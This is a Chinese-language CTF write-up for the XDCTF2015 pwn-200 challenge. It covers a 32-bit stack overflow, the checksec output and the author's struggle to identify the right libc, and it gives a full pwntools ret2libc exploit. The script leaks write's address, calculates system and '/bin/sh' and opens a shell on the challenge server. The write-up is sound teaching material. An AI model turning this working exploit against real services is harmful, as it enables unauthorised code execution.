这题用到了rop和ret2libc,漏洞是栈溢出:
void vuln(void)
{
char local_70 [108];
setbuf(stdin,local_70);
read(0,local_70,0x100);
return;
}
没有后门和syscall,没有open也不是orw,且checksec中没开PIE和canary:
checksec pwn-200
[*] '/home/gardener/ctf/adworld/pwn-200/pwn-200'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
明显可以用栈溢出,只有ret2libc看起来比较容易做到。然后就是这题最折磨人的地方:寻找libc。
第一次跑我用了LibcSearcher,可惜的是三个匹配的libc没有一个能跑通,一度让我怀疑是程序逻辑的问题,但ROP调用write和main都没问题,只有可能是libc的错误。去翻了翻别人WP发现用了这个site去找libc:https://libc.nullbyte.cat/,我尝试用拿到的libc中write的地址去检索了几次,由于ASLR每次检索结果都不尽相同,甚至可能没法检索到正确的libc,最后用了别人找到的libc的偏移量才完成:
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("./pwn-200")
# r = process("./pwn-200")
r = remote("111.200.241.244", 54697)
junk = cyclic(0x70)
rop = ROP(elf)
rop.call("write", [1, elf.got["write"], 4])
rop.call(0x80484be) # main : 0x80484be
payload1 = junk + rop.chain()
r.recvuntil(b"Welcome to XDCTF2015~!\n")
r.sendline(payload1)
write = u32(r.recv()[0:4])
log.debug("libc_write: " + hex(write))
# libc = LibcSearcher("write", write)
libc_base = write - 0xd43c0
# log.debug("libc_base: " + hex(libc_base))
system = 0x3a940 + libc_base
bin_sh = 0x15902b + libc_base
payload2 = junk + p32(system) + p32(0) + p32(bin_sh)
r.recvuntil(b"Welcome to XDCTF2015~!\n")
r.sendline(payload2)
r.interactive()
上面提到的链接是唯一能检索到题目libc的数据库了,之后尝试了用buildID sha1去找libc,使用的API是https://github.com/niklasb/libc-database/tree/master/searchengine,仍然没有找到题目的libc。